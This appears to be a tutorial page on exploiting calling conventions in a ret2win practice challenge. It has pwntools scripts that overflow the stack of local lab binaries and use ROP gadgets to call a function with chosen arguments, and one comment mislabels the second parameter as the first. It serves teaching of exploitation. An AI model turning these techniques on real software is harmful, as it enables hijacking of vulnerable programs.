# Exploiting Calling Conventions

{% file src="<https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MFAgjhgdvMN84fElcYV%2F-MFAgsyHpdZWTEHfNoiT%2Fexploiting_with_params.zip?alt=media&token=ad74a654-7114-4c69-abc5-c9e9d5ab34d3>" %}
ret2win with Parameters
{% endfile %}

### 32-bit

The program expects the stack to be laid out like this before executing the function:

![](https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MM6tX_UO7c8cF27y2Ki%2F-MM6tmUuoBNDG2SSXDgD%2Fimage.png?alt=media\&token=ecc30eba-e85d-405c-9ed8-2dc70899e4c2)

So why don't we provide it like that? As well as the function, we also pass the return address and the parameters.

![](https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MM6tX_UO7c8cF27y2Ki%2F-MM6twJQMrGMQ0FNLXFY%2Fimage.png?alt=media\&token=77918223-9007-4853-a758-99d6c5901ffe)

Everything after the address of `flag()` will be part of the stack frame for the next function as it is **expected** to be there - just instead of using `push` instructions we just overwrote them manually.

```python
from pwn import *

p = process('./vuln-32')

payload = b'A' * 52            # Padding up to EIP
payload += p32(0x080491c7)     # Address of flag()
payload += p32(0x0)            # Return address - don't care if crashes when done
payload += p32(0xdeadc0de)     # First parameter
payload += p32(0xc0ded00d)     # Second parameter

log.info(p.clean())
p.sendline(payload)
log.info(p.clean())
```

### 64-bit

Same logic, except we have to utilise the gadgets we talked about previously to fill the required registers (in this case `rdi` and `rsi` as we have two parameters).

We have to fill the registers *before* the function is called

```python
from pwn import *

p = process('./vuln-64')

POP_RDI, POP_RSI_R15 = 0x4011fb, 0x4011f9


payload = b'A' * 56            # Padding
payload += p64(POP_RDI)        # pop rdi; ret
payload += p64(0xdeadc0de)     # value into rdi -> first param
payload += p64(POP_RSI_R15)    # pop rsi; pop r15; ret
payload += p64(0xc0ded00d)     # value into rsi -> first param
payload += p64(0x0)            # value into r15 -> not important
payload += p64(0x40116f)       # Address of flag()
payload += p64(0x0)

log.info(p.clean())
p.sendline(payload)
log.info(p.clean())
```
